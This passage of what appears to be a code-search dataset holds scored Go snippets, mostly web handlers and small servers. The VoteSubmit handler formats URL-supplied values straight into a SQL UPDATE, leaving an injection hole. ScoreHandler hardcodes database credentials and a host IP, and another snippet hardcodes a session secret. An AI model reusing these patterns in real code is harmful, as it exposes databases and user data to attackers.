http.FileServer(http.Dir(\"static\"))))\n\n\twsSever := websocket.Server{\n\t\tHandler: EchoServer,\n\t}\n\thttp.Handle(\"/ws\", wsSever)\n\n\terr := http.ListenAndServe(\":8080\", nil)\n\tif err != nil {\n\t\tpanic(\"ListenAndServe: \" + err.Error())\n\t}\n}", "title": "" }, { "docid": "241dd5cef3b5242a5125276251bc92c5", "score": "0.463795", "text": "func Api(dbExecutor sqlite.DatabaseExecutor) *api.WebServer {\n\n\tbetMapper := newBetMapper()\n\tbetRepository := newBetRepository(dbExecutor, betMapper)\n\tcontroller := newController(betRepository)\n\n\treturn api.NewServer(config.Cfg.Api.Port, config.Cfg.Api.ReadWriteTimeoutMs, controller)\n}", "title": "" }, { "docid": "4e5c4a4ffa5db5345349fa9fc7e77f79", "score": "0.4620267", "text": "func main() {\r\n\r\n\t// 1. Initialize the things we need in order to run the application\r\n\t// -- Application settings, such as HTTP port, are provided in a settings.json file.\r\n\t// -- Let's load that file into our config\r\n\tconfig.InitConfig(\"./config/settings.json\")\r\n\t// -- Start the gofiledb database client, so other services in the app can save and load their objects\r\n\tgofiledb.InitClient(config.GetConfig().GoFiledbRoot)\r\n\t// -- Load an in-memory (from the db) that keeps track of what users converse with what other users\r\n\terr := user_service.LoadBuddiesInfoToMemory()\r\n\tif err != nil {\r\n\t\tlog.Fatal(err)\r\n\t}\r\n\r\n\t// II. Initialize the server\r\n\t// -- We have four endpoints, following the RESTful standard.\r\n\t// -- Question: Why do we pass the :userid varaible in the URL?\r\n\t// -- Answer: We're passing :userid to dummy for authentication.\r\n\t// -- In a real app, I would replace it with basic auth tokens\r\n\r\n\t// -- Define a new router based on httprouter, that can handle our REST API endpoints\r\n\t// -- All these requests are handlers by functions defined in the \"handler\" package\r\n\trouter := httprouter.New()\r\n\trouter.GET(\"/v1/chat/:userid\", handler.GetChatHandler)\r\n\trouter.POST(\"/v1/chat/:userid\", handler.PostChatHandler)\r\n\trouter.PUT(\"/v1/chat/:userid\", handler.PutChatHandler)\r\n\trouter.DELETE(\"/v1/chat/:userid\", handler.DeleteChatHandler)\r\n\r\n\t// -- Start the server, and listen on the port provided in the config\r\n\tfmt.Printf(\"HTTP Server listening on port %d\\n\", config.GetConfig().HttpServerPort)\r\n\tlog.Fatal(http.ListenAndServe(fmt.Sprintf(\":%d\", config.GetConfig().HttpServerPort), router))\r\n}", "title": "" }, { "docid": "0a3e35a537d74df654cb8f36bca97ec7", "score": "0.4618081", "text": "func main() {\n\tnPlayers, nMarbles, err := getInput(os.Stdin)\n\t// nPlayers, nMarbles, err := getInput(strings.NewReader(instring))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tanswer, err := solve(nPlayers, nMarbles)\n\tfmt.Println(answer)\n}", "title": "" }, { "docid": "36642ddaee8b8c40961391b20015552c", "score": "0.46176574", "text": "func ScoreHandler(w http.ResponseWriter, r *http.Request) {\n\t/* Print to stdout */\n\tfmt.Println(\"Start ScoreHandler\")\n\t/* defer will run the line at the very end of the scope (i.e the function) */\n\tdefer fmt.Println(\"End ScoreHandler\")\n\n\treqBody, _ := ioutil.ReadAll(r.Body)\n\tin := []byte(reqBody)\n\tvar raw map[string]interface{}\n\tjson.Unmarshal(in, &raw)\n\n\tvar games []*Game\n\n\t/* Reading the body of the request, r */\n\n\tdb, err := sql.Open(\"mysql\", \"Richard:SteveIsTheBest@tcp(198.199.121.101:3306)/logic\")\n\tdefer db.Close()\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\t\n\tsqlStatement := `SELECT s.gameid,s.score,s.userid,(select username from user where userid=s.userid) as ` + \"`name`\" + `,s.difficult,s.board FROM game s ORDER BY score DESC`\n\tfmt.Println(sqlStatement);\n\trows, errs := db.Query(sqlStatement)\n\tdefer rows.Close()\n\tfor rows.Next() {\n\t\tg := new(Game)\n\t\terrs = rows.Scan(&g.GameID, &g.Score, &g.UserID, &g.Name, &g.Difficulty, &g.Board)\n\t\tif errs != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tgames = append(games, g)\n\t}\n\tif err := json.NewEncoder(w).Encode(games); err != nil {\n\t\tfmt.Println(err)\n\t}\n\n\t/* Forming a response */\n\t//fmt.Fprintf(w, \"Hello, you called %q, %s\", html.EscapeString(r.URL.Path), &reqBody)\n}", "title": "" }, { "docid": "2f8e847968fcb7e65cb2e7650e81a95f", "score": "0.461414", "text": "func VoteSubmit(w http.ResponseWriter, r *http.Request) {\n\tvars := mux.Vars(r)\n\n\tsession, err := model.Rdb.HGetAll(model.Ctx, r.Context().Value(\"SID\").(string)).Result()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tvar totalVotes, isOpen int\n\tmodel.DB.QueryRow(\"SELECT total_votes, BIN(poll_status) FROM polls WHERE poll_id = ?\",\n\t\tvars[\"page\"]).Scan(&totalVotes, &isOpen)\n\n\tif totalVotes > 12 {\n\t\tif _, err := model.DB.Exec(`UPDATE polls SET poll_status=0 WHERE poll_id = ?`,\n\t\t\tvars[\"page\"]); err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tw.Header().Set(\"Content-Type\", \"text/html\")\n\t\tw.WriteHeader(http.StatusGone)\n\t\thttp.ServeFile(w, r, filepath.Join(PublicDir, \"voting-ended.html\"))\n\t\treturn\n\t}\n\n\tif isOpen == 0 {\n\t\tw.WriteHeader(http.StatusNotAcceptable)\n\t\treturn\n\t}\n\n\tif _, err := model.DB.Exec(fmt.Sprintf(`UPDATE polls SET \n\tuser_voted = JSON_MERGE_PATCH(user_voted,'{\"%s\":\"%s\"}'), total_votes=total_votes+1, \n\t%s_vote=%s_vote+1 WHERE poll_id = ?`,\n\t\tsession[\"userId\"], vars[\"option\"], vars[\"option\"],\n\t\tvars[\"option\"]), vars[\"page\"]); err != nil {\n\t\tpanic(err.Error())\n\t}\n\n\thttp.Redirect(w, r, \"/polls/view\"+vars[\"page\"], http.StatusSeeOther)\n}", "title": "" }, { "docid": "a68cd0028b5b664176efb77ba512ad96", "score": "0.46105516", "text": "func Index(w http.ResponseWriter,\n\tr *http.Request) {\n\tgameList := GameList{Ai: make(map[string]string), Vs: make(map[string]string)}\n\n\tdb.View(func(tx *bolt.Tx) error {\n\t\t// Assume bucket exists and has keys\n\t\tb := tx.Bucket([]byte(\"games\"))\n\t\tc := b.Cursor()\n\t\tfor k, v := c.First(); k != nil; k, v = c.Next() {\n\t\t\t// k key v value\n\t\t\tgameList.Ai[string(k)] = string(v)\n\t\t}\n\t\treturn nil\n\t})\n\tdb.View(func(tx *bolt.Tx) error {\n\t\t// Assume bucket exists and has keys\n\t\tb := tx.Bucket([]byte(\"challenges\"))\n\t\tc := b.Cursor()\n\t\tfor k, v := c.First(); k != nil; k, v = c.Next() {\n\t\t\t// k key v value\n\t\t\tgameList.Vs[string(k)] = string(v)\n\t\t}\n\t\treturn nil\n\t})\n\n\tt, err := template.ParseFiles(\"templates/index.html\")\n\tif err != nil {\n\t\tfmt.Printf(\"Error %s Templates\", err)\n\t}\n\t// Add a struct\n\tt.Execute(w, gameList)\n}", "title": "" }, { "docid": "6c9eb305a97e04837728310032f19daa", "score": "0.46081895", "text": "func Index(w http.ResponseWriter, r *http.Request) {\n\tfmt.Fprintf(w, \"Hello World!\")\n}", "title": "" }, { "docid": "d37b13df6e062ec13c1be2a688f57c3e", "score": "0.4606661", "text": "func readInput() {\n\tfor {\n\t\tvar response string\n\t\t//Erase previous input & waits for new input\n\t\tinputWindow.Erase()\n\t\tinputWindow.Refresh()\n\t\tinputWindow.Print(\":\")\n\t\tresponse, err := inputWindow.GetString(300)\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t}\n\t\tresponses := strings.Split(response, \" \")\n\t\tswitch responses[0] {\n\t\t//Connect checks for address & uses the client to connect\n\t\tcase \"/CONNECT\": \n\t\t\tif len(responses) == 1 {\n\t\t\t\tchatWindow.ColorOn(2)\n\t\t\t\tchatWindow.Println(\"Need address\")\n\t\t\t} else {\n\t\t\t\tc.RemoteAddr = responses[1]\n\t\t\t\tc.Connect()\n\t\t\t\tc.SendMessage(\"/CONNECTREC\")\n\t\t\t}\n\t\t//Encrypt just sends the other client \"?OTRv2?\" an OTR encrypt query\n\t\tcase \"/ENCRYPT\":\n\t\t\tsendMsg([]byte(\"?OTRv2?\"))\n\t\t//In the defualt input just send the message over!\n\t\tdefault:\n\t\t\tvar toSend [][]byte\n\t\t\tvar err error\n\t\t\tif !conv.IsEncrypted() {\n\t\t\t\tchatWindow.ColorOn(3)\n\t\t\t\tchatWindow.Println(\"[You ]:\" + response)\n\t\t\t\ttoSend = [][]byte{[]byte(response)}\n\t\t\t} else {\n\t\t\t\tchatWindow.ColorOn(4)\n\t\t\t\tchatWindow.Println(\"[You ]:\" + response)\n\t\t\t\ttoSend, err = conv.Send([]byte(response))\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Println(err)\n\t\t\t\t}\n\t\t\t}\n\t\t\tsendMsgs(toSend)\n\t\t}\n\t\tchatWindow.Refresh()\n\t\tinputWindow.Refresh()\n\t}\n}", "title": "" }, { "docid": "a721c2434c17ed70e89b929240464837", "score": "0.46042493", "text": "func Index(w http.ResponseWriter, r *http.Request) {\n\n\tr.ParseForm()\n\taction := r.Form.Get(\"action\")\n\tfmt.Fprintln(w, \"Welcome!\", action)\n\n\tswitch action {\n\tcase \"ping\", \"Ping\":\n\t\tfmt.Fprintln(w, \"We've gone a \", action, \" event\")\n\tcase \"list\", \"List\":\n\n\t\tbeacons := Beacons{}\n\n\t\tapp_id := r.Header.Get(\"freckle-app-id\")\n\t\tlat := r.Form.Get(\"lat\")\n\t\tlng := r.Form.Get(\"lng\")\n\t\tfmt.Fprintln(w, \"app-id: \", app_id,\n\t\t\t\"lat:\", lat,\n\t\t\t\"lng:\", lng)\n\n\t\t//selectAll(&beacons)\n\t\tw.Header().Set(\"Content-Type\", \"application/json; charset=UTF-8\")\n\t\tw.WriteHeader(http.StatusOK)\n\t\tif err := json.NewEncoder(w).Encode(beacons); err != nil {\n\t\t\tlog.Fatal(err)\n\t\t\tpanic(err)\n\t\t}\n\n\tcase \"enter\", \"Enter\":\n\t\tfmt.Fprintln(w, \"We've gone a \", action, \" event\")\n\tcase \"exit\", \"Exit\":\n\t\tfmt.Fprintln(w, \"We've gone a \", action, \" event\")\n\tcase \"notified\", \"Notified\":\n\t\tfmt.Fprintln(w, \"We've gone a \", action, \" event\")\n\tdefault:\n\t\tfmt.Fprintln(w, \"Unknown action\")\n\t}\n}", "title": "" }, { "docid": "31102db534d907c20c89f0a477fbf273", "score": "0.4602789", "text": "func promptForForm(term *terminal.Terminal, user, password, title, instructions string, fields []interface{}) error {\n\tinfo(term, \"The server has requested the following information. Text that has come from the server will be shown in red.\")\n\n\t// formStringForPrinting takes a string form the form and returns an\n\t// escaped version with codes to make it show as red.\n\tformStringForPrinting := func(s string) string {\n\t\tvar line []byte\n\n\t\tline = append(line, term.Escape.Red...)\n\t\tline = appendTerminalEscaped(line, []byte(s))\n\t\tline = append(line, term.Escape.Reset...)\n\t\treturn string(line)\n\t}\n\n\twrite := func(s string) {\n\t\tterm.Write([]byte(s))\n\t}\n\n\tvar tmpDir string\n\n\tshowMediaEntries := func(questionNumber int, medias [][]xmpp.Media) {\n\t\tif len(medias) == 0 {\n\t\t\treturn\n\t\t}\n\n\t\twrite(\"The following media blobs have been provided by the server with this question:\\n\")\n\t\tfor i, media := range medias {\n\t\t\tfor j, rep := range media {\n\t\t\t\tif j == 0 {\n\t\t\t\t\twrite(fmt.Sprintf(\" %d. \", i+1))\n\t\t\t\t} else {\n\t\t\t\t\twrite(\" \")\n\t\t\t\t}\n\t\t\t\twrite(fmt.Sprintf(\"Data of type %s\", formStringForPrinting(rep.MIMEType)))\n\t\t\t\tif len(rep.URI) > 0 {\n\t\t\t\t\twrite(fmt.Sprintf(\" at %s\\n\", formStringForPrinting(rep.URI)))\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tvar fileExt string\n\t\t\t\tswitch rep.MIMEType {\n\t\t\t\tcase \"image/png\":\n\t\t\t\t\tfileExt = \"png\"\n\t\t\t\tcase \"image/jpeg\":\n\t\t\t\t\tfileExt = \"jpeg\"\n\t\t\t\t}\n\n\t\t\t\tif len(tmpDir) == 0 {\n\t\t\t\t\tvar err error\n\t\t\t\t\tif tmpDir, err = ioutil.TempDir(\"\", \"xmppclient\"); err != nil {\n\t\t\t\t\t\twrite(\", but failed to create temporary directory in which to save it: \" + err.Error() + \"\\n\")\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tfilename := filepath.Join(tmpDir, fmt.Sprintf(\"%d-%d-%d\", questionNumber, i, j))\n\t\t\t\tif len(fileExt) > 0 {\n\t\t\t\t\tfilename = filename + \".\" + fileExt\n\t\t\t\t}\n\t\t\t\tout, err := os.OpenFile(filename, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)\n\t\t\t\tif err != nil {\n\t\t\t\t\twrite(\", but failed to create file in which to save it: \" + err.Error() + \"\\n\")\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tout.Write(rep.Data)\n\t\t\t\tout.Close()\n\n\t\t\t\twrite(\", saved in \" + filename + \"\\n\")\n\t\t\t}\n\t\t}\n\n\t\twrite(\"\\n\")\n\t}\n\n\tvar err error\n\tif len(title) > 0 {\n\t\twrite(fmt.Sprintf(\"Title: %s\\n\", formStringForPrinting(title)))\n\t}\n\tif len(instructions) > 0 {\n\t\twrite(fmt.Sprintf(\"Instructions: %s\\n\", formStringForPrinting(instructions)))\n\t}\n\n\tquestionNumber := 0\n\tfor _, field := range fields {\n\t\tquestionNumber++\n\t\twrite(\"\\n\")\n\n\t\tswitch field := field.(type) {\n\t\tcase *xmpp.FixedFormField:\n\t\t\twrite(formStringForPrinting(field.Text))\n\t\t\twrite(\"\\n\")\n\t\t\tquestionNumber--\n\n\t\tcase *xmpp.BooleanFormField:\n\t\t\twrite(fmt.Sprintf(\"%d. %s\\n\\n\", questionNumber, formStringForPrinting(field.Label)))\n\t\t\tshowMediaEntries(questionNumber, field.Media)\n\t\t\tterm.SetPrompt(\"Please enter yes, y, no or n: \")\n\n\t\tTryAgain:\n\t\t\tfor {\n\t\t\t\tanswer, err := term.ReadLine()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tswitch answer {\n\t\t\t\tcase \"yes\", \"y\":\n\t\t\t\t\tfield.Result = true\n\t\t\t\tcase \"no\", \"n\":\n\t\t\t\t\tfield.Result = false\n\t\t\t\tdefault:\n\t\t\t\t\tcontinue TryAgain\n\t\t\t\t}\n\t\t\t\tbreak\n\t\t\t}\n\n\t\tcase *xmpp.TextFormField:\n\t\t\tswitch field.Label {\n\t\t\tcase \"CAPTCHA web page\":\n\t\t\t\tif strings.HasPrefix(field.Default, \"http\") {\n\t\t\t\t\t// This is a oddity of jabber.ccc.de and maybe\n\t\t\t\t\t// others. The URL for the capture is provided\n\t\t\t\t\t// as the default answer to a question. Perhaps\n\t\t\t\t\t// that was needed with some clients. However,\n\t\t\t\t\t// we support embedded media and it's confusing\n\t\t\t\t\t// to ask the question, so we just print the\n\t\t\t\t\t// URL.\n\t\t\t\t\twrite(fmt.Sprintf(\"CAPTCHA web page (only if not provided below): %s\\n\", formStringForPrinting(field.Default)))\n\t\t\t\t\tquestionNumber--\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\tcase \"User\":\n\t\t\t\tfield.Result = user\n\t\t\t\tquestionNumber--\n\t\t\t\tcontinue\n\n\t\t\tcase \"Password\":\n\t\t\t\tfield.Result = password\n\t\t\t\tquestionNumber--\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\twrite(fmt.Sprintf(\"%d. %s\\n\\n\", questionNumber, formStringForPrinting(field.Label)))\n\t\t\tshowMediaEntries(questionNumber, field.Media)\n\n\t\t\tif len(field.Default) > 0 {\n\t\t\t\twrite(fmt.Sprintf(\"Please enter response or leave blank for the default, which is '%s'\\n\", formStringForPrinting(field.Default)))\n\t\t\t} else {\n\t\t\t\twrite(\"Please enter response\")\n\t\t\t}\n\t\t\tterm.SetPrompt(\"> \")\n\t\t\tif field.Private {\n\t\t\t\tfield.Result, err = term.ReadPassword(\"> \")\n\t\t\t} else {\n\t\t\t\tfield.Result, err = term.ReadLine()\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif len(field.Result) == 0 {\n\t\t\t\tfield.Result = field.Default\n\t\t\t}\n\n\t\tcase *xmpp.MultiTextFormField:\n\t\t\twrite(fmt.Sprintf(\"%d. %s\\n\\n\", questionNumber, formStringForPrinting(field.Label)))\n\t\t\tshowMediaEntries(questionNumber, field.Media)\n\n\t\t\twrite(\"Please enter one or more responses, terminated by an empty line\\n\")\n\t\t\tterm.SetPrompt(\"> \")\n\n\t\t\tfor {\n\t\t\t\tline, err := term.ReadLine()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tif len(line) == 0 {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tfield.Results = append(field.Results, line)\n\t\t\t}\n\n\t\tcase *xmpp.SelectionFormField:\n\t\t\twrite(fmt.Sprintf(\"%d. %s\\n\\n\", questionNumber, formStringForPrinting(field.Label)))\n\t\t\tshowMediaEntries(questionNumber, field.Media)\n\n\t\t\tfor i, opt := range field.Values {\n\t\t\t\twrite(fmt.Sprintf(\" %d. %s\\n\\n\", i+1, formStringForPrinting(opt)))\n\t\t\t}\n\t\t\tterm.SetPrompt(\"Please enter the number of your selection: \")\n\n\t\tTryAgain2:\n\t\t\tfor {\n\t\t\t\tanswer, err := term.ReadLine()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tanswerNum, err := strconv.Atoi(answer)\n\t\t\t\tanswerNum--\n\t\t\t\tif err != nil || answerNum < 0 || answerNum >= len(field.Values) {\n\t\t\t\t\twrite(\"Cannot parse that reply. Try again.\")\n\t\t\t\t\tcontinue TryAgain2\n\t\t\t\t}\n\n\t\t\t\tfield.Result = answerNum\n\t\t\t\tbreak\n\t\t\t}\n\n\t\tcase *xmpp.MultiSelectionFormField:\n\t\t\twrite(fmt.Sprintf(\"%d. %s\\n\\n\", questionNumber, formStringForPrinting(field.Label)))\n\t\t\tshowMediaEntries(questionNumber, field.Media)\n\n\t\t\tfor i, opt := range field.Values {\n\t\t\t\twrite(fmt.Sprintf(\" %d. %s\\n\\n\", i+1, formStringForPrinting(opt)))\n\t\t\t}\n\t\t\tterm.SetPrompt(\"Please enter the numbers of zero or more of the above, separated by spaces: \")\n\n\t\tTryAgain3:\n\t\t\tfor {\n\t\t\t\tanswer, err := term.ReadLine()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\n\t\t\t\tvar candidateResults []int\n\t\t\t\tanswers := strings.Fields(answer)\n\t\t\t\tfor _, answerStr := range answers {\n\t\t\t\t\tanswerNum, err := strconv.Atoi(answerStr)\n\t\t\t\t\tanswerNum--\n\t\t\t\t\tif err != nil || answerNum < 0 || answerNum >= len(field.Values) {\n\t\t\t\t\t\twrite(\"Cannot parse that reply. Please try again.\")\n\t\t\t\t\t\tcontinue TryAgain3\n\t\t\t\t\t}\n\t\t\t\t\tfor _, other := range candidateResults {\n\t\t\t\t\t\tif answerNum == other {\n\t\t\t\t\t\t\twrite(\"Cannot have duplicates. Please try again.\")\n\t\t\t\t\t\t\tcontinue TryAgain3\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tcandidateResults = append(candidateResults, answerNum)\n\t\t\t\t}\n\n\t\t\t\tfield.Results = candidateResults\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\tif len(tmpDir) > 0 {\n\t\tos.RemoveAll(tmpDir)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "521866e6b14570eaf73cd8f1ec4d9dac", "score": "0.46022052", "text": "func main() {\n\tprintln(\"Math Methods: \")\n\n\ta := 4\n\tb := 2\n\n\tprintln(\"A: \", a)\n\tprintln(\"B: \", b)\n\n\tresult, err := add(a, b)\n\tif err != nil {\n\t\tprintln(err)\n\t}\n\n\tprintln(\"Add: \", result)\n\n\tresult, err = subtract(a, b)\n\tif err != nil {\n\t\tprintln(err)\n\t}\n\n\tprintln(\"Subtract: \", result)\n\n\tresult, err = multiply(a, b)\n\tif err != nil {\n\t\tprintln(err)\n\t}\n\n\tprintln(\"Multiply: \", result)\n\n\tresult, err = divide(a, b)\n\tif err != nil {\n\t\tprintln(err)\n\t}\n\n\tprintln(\"Divide: \", result)\n\n\tgo createWebserver()\n}", "title": "" }, { "docid": "ceadc790ec24bbf06bfd19e796eb3131", "score": "0.4601903", "text": "func (p pair) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n\t// Serve data with a method of http.ResponseWriter.\n\tw.Write([]byte(\"You learned Go in Y minutes!\"))\n}", "title": "" }, { "docid": "01ed5e7afbf4c7153eefbe8ca88af88e", "score": "0.46016988", "text": "func handler(w http.ResponseWriter, r *http.Request) {\n\t// get user inputted query information\n\tlogin := r.URL.Query().Get(\"login\")\n\tinfo := r.URL.Query().Get(\"info\")\n\tfmt.Fprintf(w, \"User: %s\\n\", login)\n\n\t//get standard user data json\n\tuser := DataInfo{}\n\terr := twitch.GetUserByLogin(login, &user)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t//get standard channel data json\n\tchannel := ChannelInfo{}\n\terr = twitch.GetChannel(login, &channel)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tswitch info {\n\tcase \"views\":\n\t\tfmt.Fprintf(w, \"Views: %d\\n\", channel.Views)\n\tcase \"followers\":\n\t\tfmt.Fprintf(w, \"Followers: %d\\n\", channel.Followers)\n\tcase \"game\":\n\t\tfmt.Fprintf(w, \"Game: %s\\n\", channel.Game)\n\tcase \"language\":\n\t\tfmt.Fprintf(w, \"Language: %s\\n\", channel.Language)\n\tcase \"streaming\":\n\t\tstream := StreamData{}\n\t\ttwitch.GetStreamStatus(login, &stream)\n\t\tstatus := \"Currently streaming\"\n\t\tif stream.Stream.Game == \"\" {\n\t\t\tstatus = \"Not currently streaming\"\n\t\t}\n\t\tfmt.Fprintf(w, \"Streaming: %s\\n\", status)\n\tcase \"display_name\":\n\t\tfmt.Fprintf(w, \"Display Name: %s\\n\", user.Display_name)\n\tcase \"bio\":\n\t\tfmt.Fprintf(w, \"Bio: %s\\n\", user.Bio)\n\tcase \"creation\":\n\t\tfmt.Fprintf(w, \"Account Creation Date: %s\", user.Created_at)\n\t}\n\n}", "title": "" }, { "docid": "46418718d4c4e820ceea15f2ce7fb9bd", "score": "0.4600464", "text": "func write(w http.ResponseWriter, r *http.Request) {\n\tbody := strings.TrimSpace(r.FormValue(\"message\"))\n\n\tch := make(chan float64)\n\tgo analyze(r.Context(), body, ch)\n\n\tbody = twitterize(r.Context(), body)\n\n\t// // = CHECKPOINT 4: UNCOMMENT THIS BLOCK =======================\n\t// // Let's persist our wall contents! POST each message to a\n\t// // third-party service (in this case, a Lambda function).\n\t// post(r.Context(), persistURL, body)\n\t// // ============================================================\n\n\tsentiment := <-ch\n\tbeeline.AddField(r.Context(), \"sentiment\", sentiment)\n\tif sentiment >= 0.2 {\n\t\tbody = fmt.Sprint(\"<b>\", body, \"</b>\")\n\t} else if sentiment <= -0.2 {\n\t\tbody = fmt.Sprint(\"<i>\", body, \"</i>\")\n\t}\n\n\tcontents = append(contents, body)\n\n\thttp.Redirect(w, r, \"/\", http.StatusFound)\n}", "title": "" }, { "docid": "0f069a422a47d8815ab37f3107526baa", "score": "0.459476", "text": "func handle(w http.ResponseWriter, r *http.Request) {\r\n\tbody :=\r\n\t\t\"<!DOCTYPE html><html><head><title>Chatbot</title></head><body><pre style=\\\"font-family: monospace;\\\">\\n\" +\r\n\t\t\t\"Available Routes:\\n\\n\" +\r\n\t\t\t\" GET /welcome -> handleWelcome\\n\" +\r\n\t\t\t\" POST /chat -> handleChat\\n\" +\r\n\t\t\t\" GET / -> handle (current)\\n\" +\r\n\t\t\t\"</pre></body></html>\"\r\n\tw.Header().Add(\"Content-Type\", \"text/html\")\r\n\tfmt.Fprintln(w, body)\r\n}", "title": "" }, { "docid": "2fa93711b9a5af9b9d660410e21c9c0c", "score": "0.45945746", "text": "func main() {\n\tc, err := client.New(\"ws://127.0.0.1:8000/jsonrpc\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tquotient := service.Quotient{}\n\terr = c.Call(\"Arith.Divide\", service.Args{A: 9, B: 4}, &quotient)\n\tjs.Global.Get(\"document\").Call(\"write\", fmt.Sprintf(\"%#v\", quotient))\n}", "title": "" }, { "docid": "2e5ec6678621af6ad8001ebb57564241", "score": "0.45940393", "text": "func CredServer(w http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n w.Header().Set(\"Access-Control-Allow-Headers\", \"Origin, X-Requested-With, Content-Type, Accept\")\n w.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n\t\n\tvar request CredRequest\n\tvar result Cred\n\tr.ParseForm()\n\n\terr := json.NewDecoder(r.Body).Decode(&request)\n if err != nil {\n // handle error\n }\n log.Printf(\"%#v\", request) // lo\n\n\t// fetch values from request\n\tcredID := request.Credid\n\tappName := request.Appname\n\tremoteIP := ExtractIP(r.RemoteAddr)\n\tuserAgent := r.Header.Get(\"User-Agent\")\n\n\t// log event\n\teventdesc := \"Request received for cred \" + credID + \" (\" + remoteIP + \" \" + userAgent + \") from \" + appName\n\tlogEvent(eventdesc)\n\n\tvar resultString string\n\n\t// 1. validate request \n\tvalidateresult := validateCredRequest(credID, appName, remoteIP, userAgent)\n\tfmt.Printf(\"Cred request validation result: %d\\n\", validateresult)\n\n\tif validateresult>0 {\n\t\t// display info\n\t\tfmt.Printf(\"=== CRED and KEY ID ===\\n\")\n\t\tfmt.Printf(\"\\tCred ID: %s\\n\", credID)\n\t\tfmt.Printf(\"\\tApp name: %s\\n\", appName)\n\t\tfmt.Printf(\"\\tRemote IP: %s\\n\", remoteIP)\n\t\tfmt.Printf(\"\\tUser Agent: %s\\n\", userAgent)\n\n\t\tresult = getCreds(credID)\n\t\tresultString = \"{\\\"credid\\\":\\\"\" + credID + \"\\\",\\\"secretinfo\\\":\\\"\" + result.SecretInfo + \"\\\",\\\"keyid\\\":\\\"\" + result.KeyID + \"\\\"}\"\n\t\t//resultString += \",{\\\"credid\\\":\\\"\" + credID + \"\\\",\\\"secretinfo\\\":\\\"\" + result.SecretInfo + \"\\\",\\\"keyid\\\":\\\"\" + result.KeyID + \"\\\"}\"\n\t} else {\n\t\tresultString = \"{\\\"secretinfo\\\":\\\"\" + C_ERROR_MESSAGE + \"\\\"}\"\n\t}\n\tfmt.Printf(\"Sent to client: %s\\n\", resultString)\n\n\tio.WriteString(w, resultString)\n\n\t// decrypt <-- DEBUG\n\t//plaintext := decryptValue(encKey,result)\n\t//fmt.Printf(\"Plaintext: %s\\n\",plaintext)\n}", "title": "" }, { "docid": "07de89378c7e8cbcd6a5504ab6bbb5e0", "score": "0.45910895", "text": "func main() {\n\tdb := database.GetConnection()\n\tcore.CreateTables(db)\n\n\tuserSelection := getMessageAndUserInput()\n\tfor userSelection != 0 {\n\t\tif userSelection == 1 {\n\t\t\tfmt.Printf(\"\\nEnter student name to be added : \\n\")\n\t\t\tstudentName := utils.UserInput()\n\t\t\tcore.AddStudent(db, studentName)\n\t\t} else if userSelection == 2 {\n\t\t\tfmt.Printf(\"\\nEnter student ID to get details : \\n\")\n\t\t\tstudentID := utils.UserInput()\n\t\t\tintStudentID, _ := strconv.Atoi(studentID)\n\t\t\tcore.GetStudent(db, intStudentID)\n\t\t} else if userSelection == 3 {\n\t\t\tcore.GetAllStudents(db)\n\t\t} else if userSelection == 5 {\n\t\t\tfmt.Printf(\"\\nEnter student ID to be deleted: \\n\")\n\t\t\tstudentID := utils.UserInput()\n\t\t\tintStudentID, _ := strconv.Atoi(studentID)\n\t\t\tcore.DeleteStudent(db, intStudentID)\n\t\t} else {\n\t\t\tfmt.Printf(\"\\nInvalid user input! Please enter a number again.\\n\")\n\t\t\tfmt.Scanln(&userSelection)\n\t\t}\n\t\tuserSelection = getMessageAndUserInput()\n\t}\n}", "title": "" }, { "docid": "d15877ca6700de5b80ebf9786a888694", "score": "0.45885274", "text": "func main() {\n\tport := flag.String(\"port\", \":5033\", \"HTTPS port on which to listen\")\n\tdsn := flag.String(\"dsn\", \"./battleship.db\", \"SQLite data source name\")\n\tinitdb := flag.Bool(\"initialize\", false, \"Start with a fresh database\")\n\tdebug := flag.Bool(\"debug\", false, \"Output debugging information to browser\")\n\t// 32 bytes long secret for encrypting and authenticating the session cookies\n\tsecret := flag.String(\"secret\", \"nquR81XagSrAEHYXJSFw8y2PLbyWlF1Z\", \"Secret key\")\n\tflag.Parse()\n\n\tinfoLog := log.New(os.Stdout, \"INFO \", log.Ldate|log.Ltime)\n\terrorLog := log.New(os.Stderr, \"ERROR \", log.Ldate|log.Ltime|log.Lshortfile)\n\n\tdb, err := initializeDB(*dsn, *initdb)\n\tif err != nil {\n\t\terrorLog.Fatal(err)\n\t}\n\tdefer db.Close()\n\n\t// Initialize new template cache\n\ttemplateCache, err := newTemplateCache(\"./ui/html/\")\n\tif err != nil {\n\t\terrorLog.Fatal(err)\n\t}\n\n\t// Sessions\n\t// - Initialize new session manager passing in the secret key\n\t// - Sessions expire after 12 hours\n\tsession := sessions.New([]byte(*secret))\n\tsession.Lifetime = 12 * 